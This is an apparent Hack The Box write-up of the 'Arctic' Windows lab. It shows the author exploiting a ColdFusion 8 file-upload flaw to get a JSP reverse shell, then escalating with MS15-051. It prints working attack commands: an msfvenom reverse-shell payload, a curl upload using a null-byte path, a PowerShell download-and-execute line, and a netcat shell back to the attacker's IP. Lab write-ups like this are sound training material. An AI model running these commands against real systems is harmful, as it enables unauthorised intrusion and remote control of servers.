**Arctic**

Difficulty: Easy

OS: Windows

**Nmap**

Performing an nmap scan, we see ports 135, 8500, and 49154 are open.

|  |
| --- |

**Enumeration**

Poking around RPC provides nothing.

Going to port 8500 in a web browser gives the following page

|  |
| --- |

**Web page**

Looking through the files, I found one under “/CFIDE” called “administrator”. Heading to this page gives us a coldfusion administrator login page

|  |
| --- |

Looking up ColdFusion 8, I find a directory traversal vulnerability.

<https://www.exploit-db.com/exploits/14641>

|  |
| --- |

Additionally, searchsploit comes back with a few results.

|  |
| --- |

Doing “searchsploit -x “PATH”” gives us more information about the code used in a metasploit exploit

Looking up what ColdFusion is built with, we find Java is the main language. Therefore a payload using java should be utilized.

| *Msfvenom -p jsp/jsp\_shell\_reverse\_tcp LHOST=10.10.14.34 LPORT=9001 -f raw > shell.jsp* |
| --- |

Following the guide I am using, some fancy usage of curl comes into play. I really enjoyed this over the metasploit module since this goes over converting a basic metasploit to a workable exploit on our own. In the module, the script makes a request to:

“/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm”

After that, the module goes to the destination of:

“userfiles/file/EXPLOIT FILE”

Before any of this, however, it sets the header of the post request to a “type = application/xx-java” along with the file type to “filename = shell.txt”. Following this, I created a custom curl command that ended with uploading the java shell to the server.

| *curl -X POST -F "newfile=@shell.jsp;type=application/x-java archive;filename=shell.txt" 'http://10.10.10.11:8500///CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/shell.jsp%00'* |
| --- |

|  |
| --- |

Setting up a listener and clicking on the exploit, or sending a curl request, gives us a shell

|  |
| --- |

**User**

First bit of enumeration I did was “systeminfo.” With this, I see there are no hotfixes installed on the 2008 R2 Windows server, meaning there are potential kernel exploits

|  |
| --- |

Uploading and running Sherlock.

| *powershell IEX(new-object net.webclient).downloadstring('http://10.10.14.34:8000/Sherlock.ps1');Find-AllVulns;* |
| --- |

This is the output after Sherlock ran

|  |
| --- |

MS15-051 is an exploit done in past HTBs too, so sticking with that I grab the proper executable and netcat.

|  |
| --- |

Setting up a smbserver on my arctic folder, we can grab the ms15 executable to then run netcat and send a shell back to us

|  |
| --- |

Sending a request to grab the exe and netcat, then telling netcat to send back a shell.

| *\\10.10.14.34\share\ms15-051x64.exe "\\10.10.14.34\share\nc64.exe -e cmd 10.10.14.34 9002"* |
| --- |

|  |
| --- |

Rooted